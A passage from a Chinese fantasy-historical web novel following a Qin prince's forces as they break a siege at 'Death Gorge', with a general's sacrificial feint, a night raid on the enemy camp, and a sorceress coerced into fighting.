赢子夜率领的精锐骑兵如同黑色的铁流,在广袤的戈壁上全速奔驰,卷起漫天烟尘。
马蹄声如雷鸣,敲击着大地,也敲击在每个人的心上。
时间,此刻是比黄金更珍贵的资源。
赢子夜玄衣外罩着御寒的斗篷。
面容沉静如水。
但紧握缰绳的手和微微前倾的身体,暴露了他内心的焦灼。
死峡的战报如同阴云笼罩。
蒙犽和十几万将士的命运悬于一线!
突然,他怀中一枚刻画着玄奥符文的玉符微微发烫,散发出柔和的光芒。
这是他此前分发的与暗河核心以及北疆高层紧急联络用的通讯符箓。
他猛地一拉缰绳,战马人立而起,发出嘶鸣,整个疾驰的队伍也随之骤然减速。
赢子夜迅速取出符箓,神识沉入其中。
符箓传递来的信息如同冰水浇头,让他的瞳孔骤然收缩——
匈奴王庭异动!
单于头曼并未坐镇王庭。
而是秘密调集了大量精锐,动向不明,但其大致方向,疑似指向……
大月氏西北边疆!
“西北边疆……”
赢子夜低声重复着这个信息。
眼眸中闪过一丝意外。
但随即被更深的睿智光芒所取代。
他勒住有些焦躁的战马,目光投向西方,仿佛要穿透无尽的空间,看到那片即将风云变幻的土地。
“殿下,有何变故?”
田言策马靠近,清冷的脸上带着询问。
周围的将领们也纷纷投来关切的目光。
赢子夜没有立刻回答。
他眉头紧锁,脑中飞速运转,将北疆、西域、匈奴、大月氏所有的情报碎片在脑海中拼接、推演。
头曼不是庸主。
他放弃在北疆施加压力,反而秘密率精锐奔袭大月氏防守相对薄弱的西侧……
这绝非无的放矢!
一个大胆,却仍未完全成形的猜测,在赢子夜脑海中若隐若现。
他眉头紧锁,神色间闪过一瞬的犹疑。
随即,眼中精光一闪,语气带着一丝冷冽的洞察。
“好一个头曼……这场攻势,恐怕没那么简单。”
田言与众将皆是一愣。
“殿下,您的意思是?”
一名骑兵校尉忍不住问道。
赢子夜目光深沉,声音压得极低。
“头曼猛攻北疆,也许只是障眼法……他在牵制我们的大军,吸引所有目光。”
“真正的动向……恐怕另有所在。”
他打开随身携带的舆图,指尖轻触西域那片标注稀疏的空白地带,语气愈发低沉。
“若他趁大月氏主力尽出,反手突袭其腹地……那后果,不堪设想。”
他微微抬头,神色依旧未定。
“我不能确定,但若真如此,他想要的,或许不是胜一场仗,而是……整个西域!”
气氛陡然一凝!
田言的呼吸微微一滞,旁侧几名将领面色骤变。
那种近乎直觉的判断,带着一种不安的压迫感,在众人心底缓缓蔓延开来。
赢子夜沉默片刻,声音再次响起,冷静而克制。
“先不要惊动诸部将士,我要更多情报来证实这件事。”
他抬眼望向远方,目光深沉如夜。
“但若我的直觉没错,头曼这一步——比任何人想的,都要险,也要狠!”
“殿下,若真如此,单凭李信将军那五万奇兵,加上我们和蒙犽残部,即便能解死峡之围,恐怕也难以阻挡头曼吞并大月氏的兵锋!”
田言立刻意识到了问题的严重性,清冷的声音带着一丝急促。
“不错!”
赢子夜斩钉截铁,眼中闪过一丝决绝。
“头曼既然敢倾巢而出,所图必然极大!”
“我们必须以绝对优势的力量,将其彻底扼杀在西域,绝不能让他整合成功的野心得逞!”
他猛地调转马头,面对东方,那是云中郡的方向。
他毫不犹豫地再次取出那枚通讯符箓,神识凝聚,一道极其凝练,带着他意志与权威的讯息,被刻入符箓之中!
化作一道无形的流光,瞬间破空而去,直奔东北方向!
做完这一切,他看向众人,声音如同出鞘的利剑,带着碾碎一切的决心。
“我已传令王贲将军!”
“令他留下部分兵力固守云中,亲率主力精锐,火速西进,驰援西域战场!”
他目光扫过每一张震惊而坚定的脸,语气带着不容置疑的力量。
“不论头曼是想要吞并大月氏,还是另有图谋。”
“只要我们能将他和他的匈奴主力,永远地留在西域这片土地上!”
“那么,北疆之患可平,西域之局可定!!”
“此战,关乎国运!!”
“传令全军!”
“放弃一切不必要的辎重,只带足干粮箭矢!”
“全速前进,目标——死峡!
“我们要在头曼的阴谋得逞之前,与蒙犽汇合,与王贲合兵,为匈奴单于…送上一份他永生难忘的大礼!”
“诺!!!”
……
死峡外围。
连绵的联军大营如同盘踞的巨兽,篝火星星点点,映照着巡逻士兵晃动的身影。
中军大帐内,灯火通明。
气氛与峡谷内的死寂截然不同,充满了志得意满的喧嚣。
主位上端坐的,并非大月氏王乌孙陀罗,而是一名身披金纹狼皮甲,眉目深陷,目光阴冷的大月氏统帅。
名为拔罗。
乃是大月氏王乌孙陀罗麾下最骁勇的战将,同时也是西域诸部推崇的“破军勇侯”。
他是此
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次围歼战的联军前线统帅。
此刻,他手中把玩着一只精致的银杯,里面晃动着猩红的葡萄酒。
几名大月氏的万夫长和西域小国的将领陪坐在下首,脸上都带着讨好与兴奋的神色。
拔**得意满地站起身,走到中央那巨大的沙盘前。
沙盘上,代表秦军的黑色旗帜被密密麻麻的黄色的大月氏,灰色的匈奴及戎族小旗死死围在“死峡”最深处,动弹不得。
“五日了!”
拔罗的声音洪亮,带着毫不掩饰的得意。
他伸出粗壮的手指,重重地点在那些黑色小旗上。
“整整五日!蒙犽那小子,就算他是将门世家出身,是只猛虎,如今也是掉了牙,断了爪的困兽!”
他环视帐内诸将,嘴角咧开,露出被酒色浸染的黄牙。
“本将军料定,他们携带的粮草,最多还能支撑一两天!”
“就算他们杀马充饥,又能撑多久?”
“没有补给,箭矢用一支少一支,伤兵无药可医……”
“哈哈,最多不超过两天!”
“两天之后,我军甚至无需强攻,只需看着他们饿得拿不动刀,渴得睁不开眼,便可轻而易举地进去收割人头!”
一名大月氏万夫长连忙奉承道:“破军勇侯神机妙算!”
“全赖您调度有方,才能将这十几万秦军困死在此地!”
“届时,您必是头功!”
拔罗受用地仰头灌下一口酒,随手将银杯掷在沙盘边缘,发出哐当一声脆响。
他脸上得意的神色转为一种猫捉老鼠般的残忍。
“传令下去!”他声音陡然变得冷厉。
“从今夜开始,各营轮流派出小队,不分昼夜,给本侯不间断地袭扰峡谷内的秦军!”
他走到帐边,掀开帘子,指着远处黑暗中那片死寂的峡谷轮廓,狞笑道。
“不必强攻,就用弓箭远远地射,用战鼓号角吵得他们不得安宁!”
“我要让他们睡不能睡,歇不能歇,时时刻刻绷紧那根弦!”
他回身,目光扫过众将,带着不容置疑的命令。
“等他们精疲力尽,饿得前胸贴后背的时候,就是我们收获胜利果实的时候!”
“都给本侯打起精神,看好这群瓮中之鳖,别让他们任何人溜了!”
“谨遵破军勇侯号令!”
帐内众将齐声应和,脸上都露出了贪婪而残忍的笑容。
他们仿佛已经看到了秦军崩溃,任由他们宰割的场景。
拔罗满意地坐回主位,再次拿起酒壶,为自己斟满。
帐外,隐约传来了联军营地调兵遣将的喧嚣声,以及第一波袭扰部队出发时,那故意敲响,沉闷而充满挑衅意味的战鼓声。
这鼓声。
如同催命的符咒,一声声,敲向那片被死亡阴影笼罩的峡谷!
第385章 以我为饵,助你们杀出重围!
死峡深处。
秦军临时搭建的中军帐内,气氛比帐外呼啸的寒风更加冰冷凝固。
几盏昏黄的油灯摇曳着,映照出蒙犽和几位核心将领疲惫而沉重的面孔。
空气中弥漫着血腥、汗水和一种名为绝望的气息。
“将军,箭矢……不足三成了。”
“伤兵营已满,药材昨日就已用尽……”
“粮食……今日已开始宰杀伤马,但…最多还能支撑两日,若是连战马都……”
一名校尉声音干涩地汇报着。
每说出一项,帐内的空气就沉重一分。
所有人的目光都聚焦在蒙犽身上。
他玄甲上的血污已经发黑。
脸颊凹陷,嘴唇干裂。
唯有那双眼睛,依旧如同被困的猛虎,闪烁着不屈的光芒。
但深处,是难以掩饰的疲惫与沉重。
蒙犽沉默地听着,手指无意识地敲击着铺在简陋木台上的地图。
那上面标注着敌军如同铁桶般的包围圈。
良久,他猛地抬起头,眼中闪过一丝决绝,声音沙哑却带着不容置疑的力量!
“不能再等了!坐以待毙,只有全军覆没一途!”
“唯今之计,只有……断尾求生!”
他站起身,手指重重地点在地图上敌军兵力最为雄厚,也是包围圈核心的正面方向。
“我亲率一万五千死士,由此方向,向敌军主营发起决死突击!吸引其主力!”
他又指向相对薄弱的右翼,那里是西域联军的方向。
“杨临、司马梗,你二人统领剩余所有能战的将士,待正面战起,敌军注意力被吸引之时,由此处,不惜一切代价,突围出去!”
此言一出,帐内瞬间炸开!
“不可!将军!”
杨临第一个站出来,虎目圆睁,激动得几乎要扑上来。
“您是主帅!是三军魂魄!岂能亲身犯险!末将愿代将军率死士诱敌!”
“将军!让我去!末将这条命早就赚够了!”
司马梗脸上刀疤扭曲,嘶声吼道。
“将军!末将愿往!”
“末将请战!”
所有将领都跪了下来,声音带着悲愤与决绝。
谁都清楚,担任诱饵,吸引敌军主力,在目前的情况下,就是十死无生!
他们可以死,但蒙犽不能!
他是蒙恬的儿子,是大秦在西域的将星。
更是此刻支撑着这支军队没有彻底崩溃的脊梁!
蒙犽看着跪倒一地的部下。
眼中闪过一丝复杂,有感动,有痛惜。
但更多的是一种身为统帅的决然!!
他缓缓摇头,声音不大,却压过了所有的请战声,带着一种令人心碎的平静。
“正因为我是统帅,正因为此战之败,源于我蒙犽急功近利,误中奸计,累及三军……”
“这责任,理应由我承担。”
他目光扫过每一张激动而痛苦的脸,语气陡然变得严厉,带着军令如山的铁血。
“若非我之过,诸位何至于身陷此等绝地?”
“我意已决!不必再劝!”
他猛地一拍桌案,震得油灯剧烈晃动。
“执行军令!”
“杨临、司马梗,整顿右翼突围兵马!其余人等,随我挑选死士!”
“今夜子时,行动开始!”
“将军!”
“蒙将军!”
众将还想再劝,蒙犽却已背过身去,只留下一个决绝而孤寂的背影。
玄甲在昏暗的灯光下泛着冰冷的光泽。
“下去准备吧!”
他的声音带着不容置疑的命令。
“子时一到,依计行事!”
“违令者……军法处置!”
将领们看着他那仿佛一瞬间承载了所有重量的背影,喉头哽咽。
最终,只能红着眼睛,重重抱拳。
带着满腔的悲怆与决死之意,踉跄着退出大帐。
迅速融入帐外冰冷的夜色中,去安排这最后的惨烈行动。
……
与此同时。
距离死峡二十里外的一处隐蔽风蚀谷地中。
赢子夜率领的精骑正在此短暂休整,人马皆默然。
只有偶尔战马不安的响鼻和戈壁风声呜咽。
连续数日的强行军,即便以这支精锐的韧性,也感到了深深的疲惫。
一道黑影如同融入夜色,悄然出现在赢子夜身前。
正是暗河负责侦查的探子!
“主上,敌军围困部署已初步探明。”探子声音低沉而迅速。
“死峡正面,由大月氏破军勇侯拔罗坐镇,兵力最为雄厚,至少有五万精锐!”
“且感知到数股极强的气息隐匿其中,疑似大月氏王庭供奉的强者。”
“左右两翼分别为大月氏烈狼骑与西域诸国、匈奴的联军,兵力稍逊,但亦有重兵。”
“其右翼,也就是西域联军和匈奴、戎族驻守区域,相对最为薄弱,防守也略显松散,应是突破口。”
赢子夜静静听着,目光在脑海中勾勒出死峡周边的地形与敌军分布图。
“李信将军所部,还需多久能抵达指定位置?”
“回主上,赵统领传信,最快再有半日,李信将军的五万奇兵便可抵达敌军右翼外围。”
赢子夜微微颔首,眼中闪过一丝锐芒,當即下令。
“让赵戈苍告诉李信,抵达后,不必等待信号,立刻从其右翼薄弱处发起猛攻,不惜代价,撕开一道口子,接应蒙犽突围!”
“诺!”探子领命。
赢子夜随即转身,看向**过来的田言等核心人员,语气平静却带着不容置疑的决断。
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“届时,我会亲自带队,夜袭敌军中军帅帐。”
此言一出,众人皆惊!
“殿下不可!”
田言第一个出声反对,清冷的脸上写满了担忧。
“中军帅帐必有重兵把守,强者环伺,太过危险!”
“殿下!让末将带队前去!”
“您万金之躯,岂能轻涉险地!”
一名校尉握拳拱手,急声**,眼中充满了决死之意。
“公子,此举太过行险!”其他将领也纷纷劝阻。
赢子夜抬手,止住了众人的话语,他的眼神冷静得可怕。
“我并非要与之死战,而是奇袭!”
“趁李信将军在右翼发动强攻,敌军注意力被吸引,中军相对空虚之际,直捣黄龙,斩杀或重创其主帅,制造混乱,打乱他们的整体部署!”
“一旦得手,或事不可为,我会立刻撤离,不会恋战。”
他看向一位夜枭,语气缓和却坚定。
“夜枭卫,你们的任务同样重要。”
“我需要你们带领暗河精锐,以及部分骑兵,绕至敌军后方,找到大月氏帅帐,进行突袭!”
“进一步制造混乱,让他们首尾难顾!”
夜枭还想再争辩,赢子夜摇了摇头,目光深邃。
“中军帅帐处的强者,非比寻常。”
“你们前去,一旦被发现,恐难脱身。”
“执行命令!”
就在这时。
一阵微不可查的清风拂过,几片白色羽毛悠然飘落。
一道冷峻孤傲的身影,无声无息地出现在不远处的残垣之上,玄色大氅在夜风中轻扬,正是卫庄。
“殿下莫不是忘了,西域之地,还有逆流沙。”
卫庄的声音平淡,听不出喜怒。
灰色的眸子如同寒冰,扫过在场众人。
赢子夜看到卫庄,脸上露出一丝真诚的笑意,道:
“卫庄先生来得正好,此次多亏逆流沙及时传递情报,否则蒙犽将军危矣,本公子在此谢过。”
卫庄并未在意这份感谢,只是淡淡道。
“客套话不必多说。”
“你既已在此,打算如何安排逆流沙?”
赢子夜收敛笑容,正色道。
“如此甚好,那就劳烦卫庄先生,带领逆流沙,负责清除敌军右翼薄弱处可能存在的敌**者,并在李信将军发动攻击后,阻击任何试图从其他方向支援右翼的敌军高手!”
“为大军打开缺口,减轻压力!”
卫庄闻言,嘴角勾起一抹近乎残酷的弧度,似乎对这种任务颇为满意。
“可以。”
他言简意赅,甚至没有问具体目标是谁。
仿佛那些所谓的强者,在他眼中不过土鸡瓦狗。
话音一落,卫庄便身影一晃,已从残垣上消失,如同从未出现过。
第386章 计划提前,配合蒙犽部突围!
死峡之内。
夜色浓稠如墨,压抑得让人喘不过气。
秦军残存的营地里,只有零星的火把在风中摇曳,映照着一张张疲惫而绝望的脸。
伤兵的哀嚎声在寒冷的夜风中显得格外微弱。
中军帐内,蒙犽已卸下破损严重的玄甲,换上了一副相对轻便的皮甲。
但那股决绝的气势,却比任何重铠都更加沉重。
他目光扫过面前肃立的一万五千名“死士”。
这些人,是他从全军中挑选出的。
大多身上带伤,却眼神凶悍,带着一种与敌偕亡的疯狂!
他们没有喧哗,只有粗重的呼吸和兵刃偶尔摩擦甲胄的轻响。
杨临和司马梗站在队列前方,两人虎目含泪,死死咬着牙,拳头攥得咯咯作响!
蒙犽的目光最后落在他们身上,声音沙哑却异常平静。
“记住,待我这边战起,吸引住敌军主力,你二人立刻率部从右翼突围!”
“不要回头,不要管我们,能冲出去一个是一个!”
“找到李信,或者……直接回北地郡,告诉殿下,蒙犽……有负帝国所托!!”
“将军!”
杨临喉咙哽咽,几乎说不出话。
“执行军令!”
蒙犽猛地打断他,语气斩钉截铁,不容丝毫转圜。
他深吸一口气,猛地拔出佩剑,剑锋在黑暗中划出一道寒芒,指向峡谷入口方向,那里是敌军重兵云集之所。
“大秦的将士们!”
他的声音不高,却如同闷雷,滚过每一个死士的耳畔。
“我们已无退路!身后是悬崖,身前是豺狼!”
“但蒙家军,没有跪着生的孬种!”
“今夜,随我蒙犽,杀他个天翻地覆,让这些蛮夷看看,何为老秦风骨!”
“何为——大秦天威!!!”
“风!风!风!”
一万五千死士压抑着声音,低吼回应,那声音如同地火奔涌,带着焚尽一切的决绝。
没有慷慨激昂的呐喊,只有深入骨髓的恨意与与敌偕亡的疯狂。
“点火!出击!”
蒙犽一声令下!
死士们猛地将手中浸满火油的火把点燃。
刹那间,如同一条燃烧的怒龙,在黑暗中骤然亮起。
蒙犽一马当先,手持火把与利剑,如同离弦之箭,朝着峡谷入口敌军防守最严密的正前方,发起了决死的冲锋。
“杀——!!为了大秦!”
“杀光这些蛮子!”
怒吼声终于爆发开来,如同压抑已久的火山。
燃烧的怒龙狠狠撞向了严阵以待的敌军防线。
……
“报——!破军勇侯!秦军从正面突围了!攻势极其猛烈,是蒙犽的亲兵旗号!”
斥候连滚爬爬地冲进拔罗的中军大帐。
正搂着美姬饮酒作乐的拔罗猛地推开怀中女子,脸上露出狰狞而兴奋的笑容。
“哈哈哈!蒙犽小儿终于撑不住了!”
“想从老子正面硬闯?找死!”
“传令!正面各部,给老子压上去!**覆盖,骑兵两翼包抄,绝不能放跑蒙犽!”
“他的人头,本侯要定了!”
整个联军大营瞬间被点燃。
战鼓隆隆,号角凄厉!
原本部署在左右两翼的部队也下意识地向中央靠拢,试图加固防线,围杀这支“突围”的秦军主力。
所有人的注意力,都被那条在黑暗中疯狂燃烧,左冲右突的“火龙”牢牢吸引。
而峡谷深处,右翼边缘。
杨临和司马梗听着远处震天的喊杀声和闪耀的火光,眼睛赤红,指甲深深掐入掌心,渗出血迹。
他们知道,蒙将军正在用自己和一万五千弟兄的命,为他们争取这唯一的机会。
“兄弟们!”
杨临猛地抽出卷刃的战刀,声音嘶哑如同泣血。
“蒙将军在用命为我们开路!”
“别让将军的血白流!随我——冲出去!”
“杀——!”
压抑到极点的怒火与悲愤,在这一刻彻底爆发。
剩余的数万秦军将士,如同沉默的洪流。
在杨临和司马梗的率领下,如同暗夜中潜行的猎豹。
朝着防守因兵力抽调而明显变得薄弱的右翼西域联军阵地,发起了无声却更加致命的突击!
直到他们如同尖刀般狠狠楔入敌阵,利刃割开喉咙,长矛刺穿胸膛时。
那些还在张望正面战场的西域士兵才惊恐地反应过来。
“不好!秦军从这边突围了!”
“快挡住他们!”
然而,仓促之间的抵抗,在憋着一股复仇怒火的秦军面前,显得如此脆弱。
右翼的防线,瞬间被撕开了一道巨大的口子!
正面战场,蒙犽挥舞着长剑,浑身浴血,不知是敌人的还是自己的。
他身边的死士一个个倒下。
燃烧的火把不断熄灭。
但他依旧如同礁石,死死吸引着越来越多的敌军。
如同一个巨大的漩涡,将联军的兵力牢牢钉死在这片血腥的战场上!
他回头望了一眼右翼方向隐约传来的骚动,染血的脸上,露出了一丝近乎解脱的决然!
……
死峡外围。
联军大营灯火通明,人喊马嘶。
与远处峡谷入口处传来的震天杀声交织在一起,显得混乱而喧嚣。
赢子夜率领着一支不足百人的绝对精锐,如同暗夜中的幽灵,悄无声息地潜行至敌军大营外侧的阴影之中。
他们刚刚接到暗河夜枭以特殊方式传来的最新情报——
蒙犽已分兵行动,亲自率死士于正面佯攻,吸引敌军主力。
为右翼真正的突围部队创造机会。
“不能再等了!”
赢子夜伏在一处低矮的沙丘后,目光锐利如鹰,穿透黑暗,观察着前方营地的动静。
因蒙犽的猛烈“突围”,联军大营的警戒明显提升。
巡逻队往来穿梭的频率增加了一倍不止。
岗哨上的士兵也紧张地张望着峡谷方向。
他迅速下达命令,声音低沉而清晰,传入身后每一个精锐耳中。
“计划提前!”
“所有人,以配合蒙犽大军行动为第一要务!”
“我们的任务,便是在这敌营之中,制造混乱!越乱越好!”
“烧其粮草,惊其战马,袭杀其军官,让他们首尾不能相顾,为右翼突围减轻压力,也为李信将军的进攻创造机会!”
他目光扫过众人,最后定格在夜枭卫们和田言身上!
“夜枭,你带一队人,目标敌军马厩和次要粮草囤点。”
“田言姑娘,你带另一队,负责袭扰其左翼驻军营地,制造我军从多方向进攻的假象!”
“记住,一击即走,不可恋战!”
“诺!”
两人低声领命,眼中闪烁着决然。
“至于我,”赢子夜眼中寒光一闪,“会潜入中军区域,伺机而动。”
他没有明说目标,但在场所有人都明白,他的目标,是那些坐镇中军,实力恐怖的敌**者。
唯有解决或牵制住他们,才能真正搅乱这盘棋。
“殿下,您孤身潜入中军,太危险了!”<
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br>田言忍不住担忧道。
赢子夜摆了摆手,语气带着不容置疑的自信与冷静。
“放心,我有分寸,隐匿气息,寻找机会,若事不可为,我不会硬拼,执行命令!”
没有再多言,夜枭和田言立刻带着各自人手,如同水滴融入大海。
借着阴影和巡逻队的间隙,悄无声息地向着预定目标摸去。
赢子夜则深吸一口气,周身气息瞬间内敛到了极致,仿佛与周围的黑暗融为一体。
他如同鬼魅般,避开一队队巡逻士兵,利用帐篷的阴影,堆积的物资作为掩护。
身形几个起落。
便已深入了联军大营的腹地——
中军区域。
这里守卫更加森严,气息也明显更加凝重。
他能隐约感知到几股强大的气息如同盘踞的凶兽,隐匿在最大的几座营帐之中。
其中一股尤为暴戾。
想必就是那大月氏破军勇侯拔罗!
他并未急于动手,而是如同最有耐心的猎手,潜伏在一座堆放兵器的营帐阴影下。
冰冷的目光扫视着周围,寻找着最佳的时机,以及……
最有价值的目标。
时间一分一秒过去。
远处蒙犽方向的喊杀声依旧激烈,甚至能听到拔罗所在帅帐中传来他暴躁的吼声和调兵遣将的命令。
整个大营都因为正面的“主攻”而高速运转着,紧张的气氛弥漫在空气中。
就在这时——
“啊——!”
一声凄厉至极的惨叫,猛地从营地的西北角传来,打破了中军区域相对“有序”的混乱。
那是马厩的方向!!
紧接着,耀眼的火光骤然腾起,伴随着战马受惊的嘶鸣和士兵惊慌的呼喊!
“敌袭!有敌人混进营了!”
“马厩着火了!快救火!”
几乎是同一时间。
营地的左翼也传来了骚乱声,兵刃交击声和**声隐约可闻。
中军区域的守卫瞬间被惊动。
不少士兵下意识地望向骚乱传来的方向,连那几座最大营帐中的强大气息也出现了瞬间的波动。
“就是现在!”
赢子夜眼中精光爆射!!
他等待的就是这因外部袭扰而导致内部注意力分散的刹那。
他身影如同蓄势已久的猎豹,从阴影中猛地窜出!
目标并非那守卫最森严的帅帐,而是旁边一座气息稍弱,但同样强大的营帐。
那里驻扎的,很可能是一名大月氏王庭的供奉强者。
他的速度快得超出了肉眼捕捉的极限。
如同融入夜风的青烟,瞬间便掠过数十丈的距离。
指尖一道凝练到极致的紫色雷光悄然闪烁,带着毁灭的气息,直刺那座营帐!!
然而,就在他即将得手的瞬间——
“敌袭!中军!保护大人!”
一声尖锐的警报终于响起。
显然是营地其他地方的混乱引起了核心守卫的警觉。
整个中军区域如同被捅了的马蜂窝,瞬间炸开!
“在那里!”
“拦住他!”
无数士兵和闻讯赶来的高手,朝着另外的方向蜂拥而去。
火光下,人影幢幢,喊杀声四起。
赢子夜见状,手中定秦剑已然出鞘。
剑光闪烁间,必有几名未曾注意到身后动静的敌军捂着喉咙倒下!
他并不恋战,一边制造着更大的混乱,一边将自身气息再次隐匿,寻找着下一次出手的机会。
一时间。
火光、惨叫、警报、以及“敌袭”的呼喊,响彻夜空!
第387章 你们是想让殿下和蒙犽死吗?
死峡右翼。
被撕开的缺口处。
浑身浴血,甲胄残破的杨临、司马梗率领着刚刚突围出来的数万秦军将士,如同挣脱牢笼的猛虎,却又带着劫后余生的茫然。
他们回头望去。
那片火光冲天,杀声震天的峡谷入口,如同吞噬了蒙将军和无数弟兄的地狱,让他们心如刀绞。
就在这时!
前方黑暗中,骤然亮起无数火把!
一支零散的援军疾驰而来!
为首的女子一袭劲衣,神色沉静。
正是田言!
她奉命在左翼制造混乱,进展不错,见到右翼突破后,便前来策应突围。
身后是精骑近百,旌旗在夜风中猎猎翻动。
而在更远处,尘烟滚滚,李信将军的五万大军旗帜已然在望!
“是我们的人马?!”
“援军到了!”
绝处逢生的狂喜,瞬间冲垮了这些铁血将士的心理防线。
许多人当场就哭了出来。
那是压抑了太久绝望后的宣泄。
杨临和司马梗激动得扯到了伤口,几乎要瘫倒在地!
田言策马上前,声音平静。
“六殿下此刻尚在敌军中军帅帐,亲自策乱其阵。”
“命我前来接应诸军突围,并转达口谕。”
此言一出,众人愕然。
“殿下……在敌营?!”
田言点头,语气依旧镇定。
“殿下意在以身犯险,乱其帅帐,为我军制造脱困与**之机。”
“此时正是定局之刻,任何轻举妄动,皆可能令殿下孤立!”
空气仿佛凝固了一瞬。
杨临咬紧牙关,血与汗混成一片。
“殿下在敌营……我们怎能退!”
他猛地拔剑,厉声道。
“末将**!率部杀回去,接应殿下和蒙将军突围!”
“杀回去!救出殿下和蒙将军!”
怒吼声震天,将士们的血再次沸腾。
眼看这支刚刚脱险的军队,就要反身投入那片地狱之中。
“不可!”
田言清冷而坚定的声音响起,如同冰水泼下。
她直接拦在了激愤的杨临等人面前,面容依旧平静,但眼神却锐利如刀。
“你是何人?为何阻我!”
杨临此刻哪里听得进劝,眼睛赤红地瞪着田言。
“殿下和蒙将军正在死战!”
“多耽搁一刻,他们就多一分危险!”
“决一死战?然后呢?”
田言声音不高,却清晰地压过了周围的喧嚣。
“杨将军,殿下在敌营中亲冒奇险,若此刻我军全力回攻中军,确有可能救出蒙将军,但你们可曾想过,若匈奴主力此刻完成包围,又当如何?”
她的目光在众将之间扫过。
“匈奴八万主力,此刻在何方?”
“头曼单于的王庭精锐,又为何迟迟未出?”
“若我们陷入与大月氏正面血战之中,而匈奴自外围截断归路,到那时,不仅救不出蒙将军,连诸位的性命,也皆陷险境。”
她语气仍然温和,却字字如冰!!
这番话如同当头棒喝,让热血上涌的杨临和众将猛地一僵!
他们只想着救人,却忽略了潜在的更大的危险。
是啊,匈奴的主力呢?
头曼那个老狐狸,绝不会只看戏。
“殿下冒险深入,正为我军创造契机,而非让我们以命相殉,若我们此刻再乱阵脚,岂非辜负殿下一番苦心?”
杨临呼吸急促,额角青筋暴起!
“可殿下和蒙将军还在死战!”
“若不救,便是弃国!”
田言静静看着他,声音低而坚定。
“救,当然要救。”
“但不能让所有人去陪葬。”
“殿下曾明言,当前之策,不在匹夫之勇,而在稳局。”
“应当立刻防范匈奴主力可能的包围,并同时牵制敌中军,为蒙将军正面减压。”
她翻身下马,用手中的惊鲵剑在地上划出简易形势图。
“李信将军所部,兵力最盛,可分出三万精锐,向西、北两翼布防,广布斥候,严防匈奴!”
“若其来犯,便以死挡之。”
“其余部队,与殿下先前部署相合,从侧后猛攻敌军帅帐。”
“殿下此前的袭扰与蒙将军的突击,已令敌后混乱,此时若再攻其薄处,必能迫其回防,缓解蒙将军正面的压力。”
她说得并不急。
只是将眼前的局势,一层层剖开,让每一个人都看清其中的险与机。
寂静片刻。
杨临的胸膛剧烈起伏,终于长叹一声。
“姑娘所言……极是!”
司马梗亦咬牙点头。
“殿下以身涉险,岂可让我们误事!当依此策行!”
田言微微颔首,语气仍旧平静。
“殿下言,诸将皆是血胆之士!今日之后,若能合力稳局,胜负自有天定。”
众将抱拳齐声应道。
“愿听姑娘调遣!”
随着决断下达,庞大的秦军重新开始调动!
李信亲率三万铁骑迅速奔向西、北两翼,准备布防拦截。
另一部分则重新整阵,沿田言所示方向,疾行攻向敌军中军侧后。
夜色下,火光映照。
秦军旗帜猎猎,杀声再起。
……
而联军中军帅帐内。
此刻,已是一片狼藉。
拔罗脸色铁青,原本志得意满的神情早已被暴怒取代。
他面前跪着几名浑身颤抖的将领和负责后勤的官员。
“说!到底损失多少!”
拔罗的声音如同受伤的野兽在低吼,一脚踹翻了面前的桌案,酒水与瓜果滚落一地。
一名官员面如土色,颤声禀报。
“侯…侯爷,西北角马厩被焚,惊走、烧死战马超过两千匹……”
“三处次要粮草囤点被点燃,虽抢救及时,仍损失粮草近万石……”
“左翼营地遭袭,伤亡……伤亡不下千人……”
另一名将领补充道,声音带着惊魂未定。
“还有……混入营中的敌人虽被击退,但……但其中一人,身法诡异,实力极强,出手狠辣。”
“我们折了三位百夫长,一位千夫长,连……连王庭的供奉,犁屠大师都受了伤!”
“据其描述,那雷霆手段,疑似……疑似就是大秦那个六公子,赢子夜!”
“赢子夜?!”
拔罗瞳孔骤缩,猛地站起身,庞大的身躯带来巨大的压迫感。
“他不是在北疆?竟然敢亲自潜入我的大营?!还伤了我大月氏的供奉?!”
这消息比粮草被烧更让他震怒。
这不仅仅是损失。
更是对他,对大月氏王庭威严的赤裸裸的挑衅。
“废物!一群废物!”
拔罗怒不可遏,抽出腰间的弯刀,恨不得将眼前这些无能的部下全都砍了。
“连个大营都守不住!让秦人
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在我数万大军中来去自如!”
他胸口剧烈起伏,眼中杀意沸腾。
赢子夜的出现,意味着秦军的援兵可能已经到了,局势正在失控!
必须立刻稳住阵脚,斩杀这个心腹大患!
他猛地转头,目光投向帅帐角落那片一直沉默,被阴影笼罩的区域。
那里,端坐着一位身披深紫色阴阳鱼长袍的女子。
她面容绝美却冰冷如霜,双眸紧闭。
周身散发着一种生人勿近的孤高与沉寂,正是阴阳家曾经的东君——
焱妃。
“东君!”
拔罗强压着怒火,语气却带着不容置疑的命令。
“秦人猖狂,竟敢袭扰大营,那赢子夜更是胆大包天!”
“请东君出手,将此獠诛杀,以定军心!!”
焱妃缓缓睁开双眼,那是一双极其美丽的眸子,此刻却空洞无神,仿佛映不出任何光影。
她没有看拔罗,只是望着虚无处,声音清冷得不带一丝人间烟火。
“我的任务,是协助围困蒙犽,确保计划完成,并非你的打手。”
拔罗眼角抽搐!
他知道请动这个女人不易!
但此刻他已顾不得许多,声音带着一丝急躁和隐隐的威胁。
“东君!别忘了,您的女儿……如今可还在王庭的照顾之下!”
“赵高先生临行前可是交代过,要您……全力配合!”
“女儿”二字如同最尖锐的冰锥,狠狠刺入焱妃冰冷的心湖!
让她那古井无波的面容上,终于出现了一丝极其细微,几乎无法察觉的涟漪。
她搭在膝上的手指,微不可查地蜷缩了一下。
沉默,在帐内弥漫。
拔罗死死盯着她。
良久,焱妃缓缓站起身,紫色长袍无风自动。
她依旧没有看拔罗,只是将目光投向帐外那片混乱的夜空,声音依旧冰冷,却多了一丝难以言喻的沉重与决绝。
“……我知道了。”
话音落下。
她的身影已然化作一道淡淡的紫色流光,悄无声息地融出了帅帐。
如同鬼魅般,投向那片因赢子夜的出现而更加混乱的战场。
为了那唯一的牵挂,她这把尘封的利刃,不得不再次出鞘。
哪怕指向的,是她内心深处或许并不愿为敌的目标!
……
联军大营的混乱仍在持续。
火光与喊杀声成了最好的掩护。
赢子夜身形如电,在一座燃烧的粮垛阴影下再次显出身形。
定秦剑上雷光隐现!
他目光锁定了不远处一名正在呼喝着组织士兵救火的匈奴千夫长,正要再次出手,以雷霆之势斩将夺旗,进一步扩大混乱。
而就在他气息凝聚,即将暴起发难的刹那——
异变陡生。
一股冰冷、晦涩却又磅礴无比的力量,毫无征兆地自他侧后方涌现!
那力量并非武者的刚猛真气!
而是引动了周遭的天地元气,带着一种阴阳轮转,冰火交织的诡异韵律!
